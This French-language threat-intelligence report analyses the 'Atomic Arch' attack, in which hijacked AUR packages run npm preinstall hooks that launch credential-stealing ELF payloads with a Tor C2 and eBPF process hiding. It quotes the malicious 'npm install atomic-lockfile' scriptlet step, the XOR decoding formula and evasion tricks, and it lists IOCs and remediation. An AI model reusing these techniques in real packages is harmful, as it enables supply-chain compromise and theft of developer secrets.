Context

En juin 2026, une vaste attaque d'empoisonnement de chaîne d'approvisionnement a été révélée dans l'écosystème AUR d'Arch Linux, que Sonatype a nommée « Atomic Arch ». Cette attaque n'était pas due à une vulnérabilité zero-day dans les dépôts officiels d'Arch Linux, pacman, les aides AUR ou Arch Linux lui-même, mais résultait de l'exploitation par les attaquants du mécanisme de reprise de paquets orphelins AUR, permettant de prendre légalement le contrôle de paquets longtemps abandonnés mais encore considérés comme fiables par les utilisateurs, puis de modifier leurs PKGBUILD ou scripts d'installation.

Lorsqu'un utilisateur effectue une installation ou une mise à jour AUR standard, le script malveillant appelle npm ou Bun pour installer un package JavaScript contrôlé par l'attaquant, puis exécute un charge utile ELF Linux à l'aide de hooks de cycle de vie npm. Ce charge utile cible principalement les postes de travail et les environnements de construction Linux, et est capable de voler des informations sensibles telles que les données GitHub, npm, SSH, Docker/Podman, Vault, les navigateurs et l'historique des shells.

Au cours de la phase de divulgation publique, le nombre de paquets AUR affectés est passé de plus de 400 au début à environ 1 500. Cet événement révèle que les composants open source « non maintenus mais encore considérés comme fiables » deviennent de nouveaux points d'entrée pour les chaînes d'approvisionnement, utilisés par les attaquants pour relier des scripts, des hooks du cycle de vie des gestionnaires de paquets et les environnements locaux des développeurs.

Cet article s'appuie sur l'analyse statique effectuée par MistEye sur `runescape-launcher`, `atomic-lockfile@1.4.2` et `js-digest@4.2.2` pour identifier les étapes techniques clés de la chaîne d'attaque. Ces échantillons ne constituent pas l'ensemble des échantillons d'attaque, mais servent à révéler le profil technique de l'attaque.

MistEye répond

MistEye est un système de veille sur les menaces Web3 et de surveillance de sécurité en temps réel, développé en interne par SlowMist, qui intègre des capacités de surveillance sécurisée et d'agrégation d'intelligence pour offrir aux utilisateurs des alertes de risque en temps réel et une protection de leurs actifs.

Dans le cadre de cet incident de compromission de la chaîne d'approvisionnement sur AUR d'Arch Linux, MistEye a analysé et lié les différents éléments de la chaîne d'attaque, notamment les paquets malveillants, les dépendances npm, les charges ELF, les communications C2 et les téléchargements en deuxième phase, tout en extrayant les IOC associés. Sur la base de ces analyses, MistEye a déjà envoyé des alertes de risque élevé et des bulletins de renseignement sur les menaces aux clients afin de les aider à identifier et à traiter rapidement les risques liés à la chaîne d'approvisionnement. Détails du renseignement :

Voici l'analyse technique détaillée.

Analyse de la chaîne d'attaque : scriptlet AUR à script de cycle de vie npm

La ligne technique de cette attaque peut être résumée en trois niveaux progressifs : l'attaquant a pris le contrôle du paquet AUR et modifié les scripts de construction/installation afin de déclencher une commande npm install pendant l'installation ou la mise à jour via pacman, puis a exploité les scripts de cycle de vie npm (preinstall) pour exécuter automatiquement le chargeur natif Linux ELF intégré au paquet. Voici une explication détaillée par niveau.

Par exemple, avec le paquet runescape-launcher (version 2.2.12-1), l'attaquant a introduit une référence à install.sh dans .SRCINFO et PKGBUILD, et a déclaré npm comme dépendance d'exécution.

Déclaration clé dans .SRCINFO :

Déclaration correspondante dans le PKGBUILD :

install.sh est un fichier scriptlet d'installation pacman. L'attaquant a défini la fonction post_install() dans ce fichier et a pointé post_upgrade() vers la même fonction :

La chaîne d'exécution clé est la suivante :

.SRCINFO déclare install = install.sh et depends = npm

→ Déclaration de synchronisation PKGBUILD install="install.sh" et depends=('npm' ...)

→ makepkg incorpore install.sh dans le paquet pacman final

→ post_install() est appelé lors de la première installation de pacman

→ appeler post_upgrade() lors de la mise à niveau de pacman

→ post_upgrade() appelle post_install()

→ post_install() entre dans /tmp

→ Exécutez npm install atomic-lockfile commander chalk → npm installe atomic-lockfile@1.4.2

Déclencher le preinstall de atomic-lockfile

Exécuter la charge utile ELF Linux x86-64 src/hooks/deps

Il faut noter quelques points : commander et chalk sont des paquets légitimes et populaires sur npm, et ne sont pas nécessairement malveillants ; le même post_install() contient également une logique setcap existante ou associée ; les ajouts malveillants sont cd /tmp et npm install atomic-lockfile commander chalk.

L'objectif principal de cette couche est d'utiliser le cycle de vie d'installation/mise à jour des paquets pacman comme tremplin pour transférer le contrôle du gestionnaire de paquets système à npm, et ce, à la fois lors de l'installation initiale et des mises à jour.

atomic-lockfile@1.4.2 est le premier paquet npm malveillant utilisé dans la première vague de cette attaque. Ce paquet se présente comme une bibliothèque de verrouillage de fichiers, conservant une structure complète de bibliothèque TypeScript/JavaScript, des entrées main/module/exports, une interface CLI et des définitions de types. Toutefois, l'attaquant a configuré dans package.json le script scripts.preinstall pour exécuter automatiquement un binaire natif lors de l'installation :

src/hooks/deps n'est pas un script d'installation de dépendances ordinaire, mais un fichier exécutable Linux x86-64 PIE ELF dépourvu de table de symboles. Métadonnées clés :

• Chemin du fichier : src/hooks/deps
• Type de fichier : exécutable ELF 64 bits LSB pie, x86-64, lié dynamiquement, débarrassé
• ELF SHA-256 : 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b
• Taille : 3 040 376 octets
• Dépendances dynamiques : libbpf.so.1, libm.so.6, libc.so.6
• SHA-256 de l'objet eBPF intégré : 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
• Décalage de l'objet eBPF intégré : 0x324f9
• SHA-256 du tarball original : 64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc

Les capacités de ce charge ELF couvrent la collecte d'identifiants, la persistance, la communication et le téléchargement via des canaux distincts, ainsi que l'activation de composants eBPF d'incognito en cas d'accès root ou de capacités appropriées, détaillées ci-dessous.

Déchiffrement par XOR répété et service caché Tor C2

Dans la charge utile ELF de atomic-lockfile@1.4.2, le C2 principal n'apparaît pas sous forme de chaîne en clair, mais est stocké encodé via repeating-XOR. L'échantillon contient une clé de 32 octets à l'offset 0x1aa60 et un texte chiffré de 62 octets à l'offset 0x2da96. Le décodage s'effectue comme suit :

plain[i] = cipher[i] ^ key[i % 32]

Après décodage, l'adresse du service caché Tor v3 est :

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

La longueur de 62 octets correspond exactement à un nom d'hôte Tor v3 de 56 caractères suivi du suffixe .onion. Outre l'hôte C2, l'échantillon utilise également cette même méthode pour coder l'identifiant et la version de l'agent :

• Nom de l'agent : atomic, décalage de la clé 0x1bc60, décalage du chiffrement 0x3fddf
• Version de l'agent : 0.8.2, décalage de la clé 0x1c900, décalage du chiffrement 0x3fde5

Cette conception empêche la C2 complète d'apparaître dans les sorties de chaînes ordinaires. Par conséquent, il est possible que ce service caché C2 ne soit pas détecté en se basant uniquement sur strings | grep .onion, des règles YARA en clair ou des processus simples d'extraction d'IOC.

Chaîne de communication Tor/SOCKS

Bien que l'hôte C2 soit masqué par un codage XOR, des chaînes en clair liées à SOCKS/Tor restent visibles dans l'ELF, par exemple :

Ces chaînes combinées à l'adresse .onion décodée indiquent que le payload intègre un cadre de communication pour accéder au service caché C2 via SOCKS/Tor.

En parallèle, ELF contient des chaînes liées à la construction et au téléchargement de requêtes HTTP, notamment POST, GET, HTTP/1.0, HTTP/1.1, Host:, Content-Length:, Content-Type: application/json, Content-Type: application/octet-stream, POST /upload HTTP/1.1 et Content-Type: multipart/form-data. Les modèles POST /upload et multipart indiquent que le payload possède une capacité de téléchargement, mais il faut confirmer par des preuves dynamiques de trafic, des journaux de proxy ou une analyse forensique de l'hôte s'il est lié au service temp.sh et s'il effectue réellement une transmission externe.

Credentials and development environment collection surface

Le champ de collecte d'identifiants de ce ELF couvre plusieurs points de stockage d'identifiants clés sur les postes de développement modernes.

Concernant les informations d'identification de plateforme à distance, la charge utile contient des chaînes associées à la vérification du token GitHub et à l'énumération des dépôts — GET /user, GET /user/repos, Authorization: Bearer, Accept: application/vnd.github+json ; des chaînes de vérification du token npm — GET /-/whoami, registry.npmjs.org, _authToken= ; ainsi que des chaînes liées aux informations d'identification Vault — /.vault-token, X-Vault-Token:

Concernant les outils de messagerie instantanée et de collaboration, les chaînes liées à Slack incluent les chemins d’API auth.test, conversations.list, users.info ainsi qu’une requête SQL sur les cookies pour %.slack.com ; concernant Teams/Skype, on trouve X-Skypetoken:, authsvc.teams.microsoft.com et des requêtes sur les cookies pour %teams.microsoft.com ; des chaînes liées à Discord, telles que discord:, sont également présentes.

En ce qui concerne les environnements locaux et conteneurisés, les charges ciblent des fichiers d'identifiants SSH tels que .ssh, known_hosts, PRIVATE KEY et PuTTY-User-Key-File, ainsi que les chemins des fichiers .bash_history, .zsh_history, .env et des cookies et du Local Storage des navigateurs de la série Chromium. Des chaînes liées à Docker/Podman et aux outils DevOps — notamment docker login, docker push, docker pull, docker build, docker run, docker tag, docker-compose, podman login, podman push — apparaissent dans les fichiers ELF, mais ne constituent actuellement que des indices statiques ; la chaîne complète de collecte n'a pas encore été confirmée. Claude : ces chaînes peuvent également servir d'indices liés aux outils d'IA, mais ne prouvent pas à elles seules la collecte de données Claude.

Upload and stage two download

La charge contient un modèle d'upload HTTP multipart ainsi que des chemins de stockage temporaire tels que /var/tmp et /secrets. L'échantillon est capable de communiquer des tâches et des résultats via un C2 Onion et de construire des requêtes d'upload multipart ; la correspondance avec le service temp.sh, ainsi que le succès de l'upload ou de l'exfiltration sur la machine victime spécifique, doivent être confirmés par une exécution dynamique, des journaux de proxy ou des preuves d'investigation sur l'hôte. La chaîne de téléchargement de deuxième phase laisse également des traces statiques claires : les chemins /bin/sha256/ et la chaîne "sha256 fetch:" indiquent le chemin de vérification de hachage de deuxième phase ; les messages "server returned empty binary" et "tmp 200 headers too large" révèlent une logique de gestion des erreurs pour les échecs de téléchargement de deuxième phase. Les traces de récupération du bundle Tor "/tor-expert-bundle-" combinées à la chaîne de transmission SOCKS constituent des indices de staging pour le téléchargement.

Indices présumés de cryptominer

La chaîne /usr/bin/monero-wallet-gui apparaît dans l'ELF du fichier atomic-lockfile. En combinant cela avec la chaîne de téléchargement en deux étapes, il est supposé que la charge utile pourrait récupérer, lors de la deuxième étape, des binaires liés au minage de Monero. Aucune caractéristique forte de mineur, telles que xmrig, randomx, stratum, domaine de pool ou adresse de wallet, n'a été confirmée dans l'échantillon actuel ; il n'est donc pas possible d'affirmer la présence d'un mineur intégré.

Persistent

Des modèles de services systemd apparaissent dans l'échantillon, couvrant deux scénarios de démarrage : utilisateur et système. Cela indique que la charge utile a pour intention de s'enregistrer en tant que service système afin de continuer à s'exécuter après un redémarrage ou le démarrage d'une session utilisateur.

eBPF invisibilité et contournement de la forensic

eBPF (extended Berkeley Packet Filter) est un mécanisme fourni par le noyau Linux qui permet aux utilisateurs de charger et d'exécuter des programmes personnalisés restreints sans modifier le code source du noyau. Dans des utilisations normales, il sert à filtrer les réseaux, à l'observabilité et à la surveillance de la sécurité, mais le composant eBPF dans cet échantillon a été conçu comme un outil inverse — non pas pour « observer » le système, mais pour « se cacher ».

La charge ELF d'atomic-lockfile@1.4.2, située dans src/hooks/deps, dépend de libbpf.so.1 et tente de charger un objet eBPF rélocatable intégré via les API bpf_object__open_mem, bpf_object__load, bpf_program__attach et bpf_map__pin. Cette logique n'est pas exécutée inconditionnellement : l'échantillon appelle d'abord geteuid() pour vérifier s'il s'exécute en tant qu'utilisateur root, puis lit /proc/self/status, analyse le champ CapEff : et teste les bits de capacité correspondant à CAP_BPF et CAP_SYS_ADMIN. Plus précisément, l'échantillon n'entre dans la voie de tentative de chargement eBPF que si les conditions de permission sont remplies. Autrement dit, il s'agit davantage d'un module d'obscurité conditionnel ; les preuves statiques actuelles ne montrent pas qu'il parvient à effectuer une élévation de privilèges.

Le décompilage montre que le programme hôte lit un objet intégré de 0xce28 octets, soit 52 776 octets, à partir du décalage 0x324f9 : un objet eBPF. Le SHA-256 de cet objet est :

3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

L'objet eBPF extrait est un artefact compilé indépendant, de type ELF 64-bit LSB relocatable, avec des informations de débogage / BTF et non débarrassé de ses symboles. Ses informations de débogage révèlent également les chemins source :

/cloud/scales/agent/../ebpf/scales.bpf.c

Cet objet eBPF combine des BPF maps (des tables de données pour stocker l'état) et des tracepoints (points d'ancrage d'événements noyau) pour générer diverses traces de capacités d'obfuscation et d'anti-forensique. Ses informations de débogage et ses symboles contiennent des noms tels que hidden_pids, hidden_names, hidden_inodes, net_fds, diag_fds, getdents64, ptrace, recvmsg et bpf_probe_write_user, ce qui indique que son objectif de conception inclut la dissimulation de processus, de entrées de répertoires, de sockets/inodes liés aux connexions réseau, ainsi que l'interférence avec l'attachement de débogueurs.

Plus précisément, les traces de fonctionnalités de cet objet eBPF peuvent être classées en trois catégories :

1. Cacher les processus et les entrées de répertoire : hidden_pids est utilisé pour stocker les PID à cacher ; la logique liée à sched_process_exec ajoute les PID correspondants à l'ensemble caché lors de l'exécution d'un nouveau programme, en faisant correspondre les noms de processus avec hidden_names. La logique liée à getdents64 traite les résultats de la lecture des répertoires, permettant aux échantillons malveillants de cacher des PID ou des entrées de répertoire spécifiques dans des listes de répertoires telles que /proc.
2. Interférence avec l'énumération des connexions réseau : des indices tels que recvmsg, socket, hidden_inodes, net_fds, diag_fds indiquent une interférence avec les résultats de l'énumération des connexions réseau, pouvant affecter les informations socket/inode visibles par des outils comme ss ou netstat.
3. Blocage du débogage et altération des résultats renvoyés : ptrace, PTRACE_ATTACH, PTRACE_SEIZE et bpf_send_signal(9) révèlent une conception anti-forensique visant à empêcher l'attachement d'un débogueur ; plusieurs chaînes bpf_probe_write_user indiquent la présence de traces d'implémentation permettant de modifier les tampons de lecture en espace utilisateur, ce qui constitue une méthode clé pour masquer les entrées de répertoire et les éléments réseau.

Étant donné qu'il s'agit d'une analyse statique sans exécution dynamique de l'échantillon, il n'est pas possible de confirmer le taux de chargement réel de cet objet eBPF sur un hôte spécifique, ni d'affirmer qu'il a effectivement masqué des processus, des entrées de répertoire ou des connexions réseau. Toutefois, en analysant la logique de vérification des autorisations, la structure des maps, la couverture des tracepoints et les traces d'utilisation de bpf_probe_write_user, il apparaît que l'intention de conception est de masquer les traces liées aux processus, aux entrées de répertoire et aux sockets/inodes associés aux connexions réseau, sous réserve d'un accès root ou de capacités noyau appropriées, tout en créant des obstacles pour l'analyse dynamique.

js-digest@4.2.2 est le package npm malveillant confirmé utilisé lors de la vague suivante de l'attaque. Ce package se fait passer pour une bibliothèque d'outils de résumé/encryption JavaScript, contenant des fichiers source apparemment légitimes tels que aes.js, sha256.js, hmac-sha512.js, index.js. L'attaquant a également configuré une entrée preinstall dans package.json :

La différence clé avec atomic-lockfile réside dans la stratégie de nommage de la charge utile. L'extension .mjs du fichier install-deps.mjs suggère qu'il s'agit d'un module JavaScript ESM, ce qui peut réduire la vigilance des auditeurs humains et des règles de détection basées sur les extensions. Toutefois, l'identification statique du type de fichier révèle qu'il s'agit en réalité d'un ELF PIE Linux x86-64. Métadonnées clés :

• Chemin du fichier : lib/install-deps.mjs
• Suffix implies: ESM JavaScript module
• Type de fichier réel : exécutable ELF 64 bits LSB pie, x86-64, lié dynamiquement, débarrassé
• ELF SHA-256 : 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
• Taille : 3 193 176 octets
• Dépendances dynamiques : libbpf.so.1, libm.so.6, libc.so.6
• SHA-256 de l'objet eBPF intégré : 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
• Décalage de l'objet eBPF intégré : 0x37d91
• SHA-256 du tarball original : 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f

js-digest utilise également le codage XOR répété pour masquer le C2. Une clé de 32 octets est intégrée à l'offset 0x1cba0, et un texte chiffré de 62 octets est stocké à l'offset 0x32bcb ; le résultat décodé est identique à celui de atomic-lockfile :

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

Son identifiant et version d'agent sont :

• Nom de l'agent : cryjs (décalage de clé 0x1d740, décalage de chiffrement 0x45ec2)
• Version de l'agent : 0.8.4 (décalage de clé 0x1ec40, décalage de chiffrement 0x45ec7)

Les deux noms d'agent (atomic vs cryjs) et les versions (0.8.2 vs 0.8.4) sont différents, mais partagent la même adresse onion C2 et le même objet eBPF intégré.

js-digest présente une forte cohérence avec atomic-lockfile en ce qui concerne les chaînes liées à la collecte d'identifiants, les chaînes de transmission SOCKS/Tor, les modèles d'upload multipart, les modèles de persistance systemd et les fragments de téléchargement en deux étapes (/bin/sha256/, sha256 fetch:). Les indices liés à Docker/Podman et @reboot sont moins évidents dans js-digest qu'atomic-lockfile, et /usr/bin/monero-wallet-gui n'a pas été confirmé comme correspondant dans js-digest.

Le suffixe .mjs constitue une technique d'évasion à surveiller dans cette attaque : il exploite une faille dans la détection différentielle — les règles de correspondance de modèles basées sur des chaînes de caractères et des noms de fichiers peuvent classer les fichiers .mjs dans la liste blanche des « modules JavaScript » sans vérifier leur type MIME réel ou leur en-tête ELF.

Échantillon lié : preuves matérielles doubles partageant le C2 onion et l'objet eBPF

Deux preuves matérielles indépendantes et attribuables sont présentes entre les deux paquets npm malveillants atomic-lockfile@1.4.2 et js-digest@4.2.2 :

Preuve matérielle n°1 : Partage du service caché Tor C2. Bien que les deux charges ELF aient des hôtes différents, des noms d'agent différents (atomic vs cryjs), des versions différentes (0.8.2 vs 0.8.4), et utilisent chacune une clé et un texte chiffré distincts avec XOR répété, leur décodage pointe vers le même adresse de service caché Tor : olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion. Il est impossible que deux cadres malveillants développés indépendamment aient choisi par hasard la même adresse onion v3 de 56 caractères comme C2.

Preuve matérielle deux : les octets de l'objet eBPF partagés sont identiques. Les SHA-256 des objets eBPF rélocalisables intégrés dans chaque ELF sont exactement identiques :

3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

Cet objet eBPF mesure 52 776 octets, est de type ELF 64-bit LSB relocatable, contient des informations de débogage (debug_info) et n'a pas été stripé ; le chemin source est marqué comme scales.bpf.c. Les maps clés (hidden_pids, hidden_names, hidden_inodes), les tracepoints (getdents64, sched_process_exec, ptrace, openat, recvmsg, etc.) et les fonctions centrales (walk_dirent, name_to_pid, bpf_probe_write_user) sont parfaitement alignées entre les deux échantillons. L'objet eBPF est un artefact de compilation ; l'identité byte-to-byte indique que les deux ELF ont été construits à partir du même code source eBPF en C.

Outre ces preuves matérielles, les deux charges ELF présentent une conception très similaire en termes de capacités techniques, notamment concernant les chaînes liées à la collecte d'identifiants, l'architecture de transmission SOCKS/Tor, les modèles d'upload multipart et les chaînes de persistence systemd. Ces cohérences constituent des observations complémentaires qui renforcent la conclusion selon laquelle les deux échantillons proviennent d'une même source.

Les différences clés entre les deux échantillons sont les suivantes : le hachage ELF de l'hôte est différent, le nom et la version de l'agent diffèrent (atomic / 0.8.2 vs cryjs / 0.8.4), la stratégie de nommage de la charge utile varie (src/hooks/deps vs masquage .mjs), /usr/bin/monero-wallet-gui n'apparaît que dans atomic-lockfile, et ExecStart=@reboot est également statiquement présent uniquement dans atomic-lockfile. Ces différences indiquent que les deux échantillons sont fortement liés à la même infrastructure opérationnelle, à la même chaîne de construction ou au même cluster d'activités, et non à un simple repackage.

Résumé

Cette attaque de compromission de la chaîne d'approvisionnement sur l'AUR d'Arch Linux illustre l'exploitation combinée de deux faiblesses structurelles dans l'écosystème des logiciels open source : d'une part, le mécanisme d'adoption des paquets orphelins sur l'AUR ne vérifie pas la confiance des adoptants ; d'autre part, les scripts de cycle de vie des gestionnaires de paquets (pacman et npm) ont des limites de confiance exécutable connectées pendant l'installation — l'attaquant n'a pas besoin de tirer parti d'une vulnérabilité logicielle, mais peut construire une chaîne d'attaque complète en abusant uniquement des mécanismes de maintenance de l'écosystème open source et des comportements conçus des gestionnaires de paquets.

Les caractéristiques techniques de cette chaîne d'attaque peuvent être résumées en trois niveaux :

AUR abuse of trust inheritance. The attacker did not create new packages or exploit software vulnerabilities, but instead claimed abandoned AUR packages to inherit their existing user base. For example, with runescape-launcher, the attacker took over the package using the legitimate AUR claim process and inserted the command npm install atomic-lockfile into install.sh, triggering it via post_upgrade() calling post_install() during upgrades. Victims performing routine yay -S or paru -S operations do not expect that the PKGBUILD and .install scripts have been tampered with.

Chaînage des cycles de vie en deux niveaux et dissimulation C2. L'attaquant utilise le scriptlet post_install()/post_upgrade() de pacman comme point d'entrée, déclenchant npm install lors de l'installation ou de la mise à jour d'un paquet AUR, puis exploite le cycle de vie preinstall de npm pour exécuter une charge utile Linux ELF. L'adresse C2 Onion est masquée par un codage repeating-XOR, rendant impossible l'extraction directe via des outils simples comme strings/grep .onion. Une C2 Onion est mieux décrite comme un canal de communication pour les tâches, les résultats et les états ; la charge utile possède également la capacité de construire des requêtes multipart pour le téléchargement. La correspondance avec le service temp.sh ou le succès du téléchargement sur l'hôte victime spécifique nécessite des preuves dynamiques ou des journaux pour être confirmée.

La combinaison de charges couvre des capacités d'attaques en plusieurs phases. La charge ELF couvre les capacités statiques suivantes : collecte d'identifiants (GitHub/npm/Slack/Discord/Teams/Vault/SSH/ navigateur, ainsi que des indices liés à DevOps tels que Docker/Podman), communication et téléchargement par canaux multiples (C2 onion + modèle multipart upload), modèles de persistance (services systemd user/system compatibles avec WantedBy=multi-user.target et WantedBy=default.target), et contournement de défenses conditionnel (activation tentée de eBPF pour masquer les processus, noms de fichiers et sockets/inodes lorsque les permissions sont satisfaites ; blocage des appels ptrace via bpf_send_signal(9)). js-digest introduit en plus un faux suffixe .mjs, réduisant davantage l'efficacité des détections basées sur les extensions.

Suggestion :

1. Vérifiez immédiatement les paquets AUR installés pour détecter la présence de PKGBUILD ou de scripts .install contenant des commandes telles que npm install atomic-lockfile, bun install js-digest ou des commandes similaires de récupération via npm/Bun. Si des paquets affectés sont découverts, effectuez immédiatement une analyse forensique et un changement des identifiants dans un environnement isolé.
2. Vérifiez la présence de services/timers systemd anormaux dans ~/.config/systemd/user et /etc/systemd/system, ainsi que la présence de maps BPF anormales telles que hidden_pids, hidden_names, hidden_inodes dans /sys/fs/bpf/.
3. Pour les hôtes développeurs affectés, renouvelez les GitHub PAT/GITHUB_TOKEN, les jetons npm, les sessions Slack/Discord/Teams, les jetons Vault, les clés privées SSH, les identifiants Docker/Podman et toutes les clés stockées dans le fichier .env.
4. L'environnement de construction CI/CD doit être reconstruit à partir d'une image de base fiable, plutôt que de simplement nettoyer les node_modules ou supprimer des paquets malveillants individuels.
5. Les utilisateurs d'AUR sont invités à examiner ligne par ligne les fichiers PKGBUILD et les scripts .install avant d'installer tout paquet récemment revendiqué ou longtemps inactif, en prêtant attention à la présence de commandes externes telles que npm install, bun install, curl, wget, etc.

IOC

Domain name

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid[.]onion

Dépendance malveillante

npm : atomic-lockfile@1.4.2

npm : js-digest@4.2.2

npm:nextfile-js@1.4.2

npm : lockfile-js@1.4.2

Fichier malveillant

fichier : src/hooks/deps SHA256 : 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b

filename : lib/install-deps.mjs SHA256 : 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316

nom de fichier : atomic-lockfile-1.4.2.tar.gz SHA256 : 64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc

nom de fichier : js-digest-4.2.2.tar.gz SHA256 : 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f

nom de fichier : objet eBPF intégré SHA256 : 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

Cet article a été rédigé par l'équipe d'intelligence sur les menaces de SlowMist, en combinant le système d'intelligence sur les menaces MistEye et une analyse pilotée par l'IA SlowMist Agent. N'hésitez pas à nous contacter pour toute question ou retour.

Lien de référence

1. https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency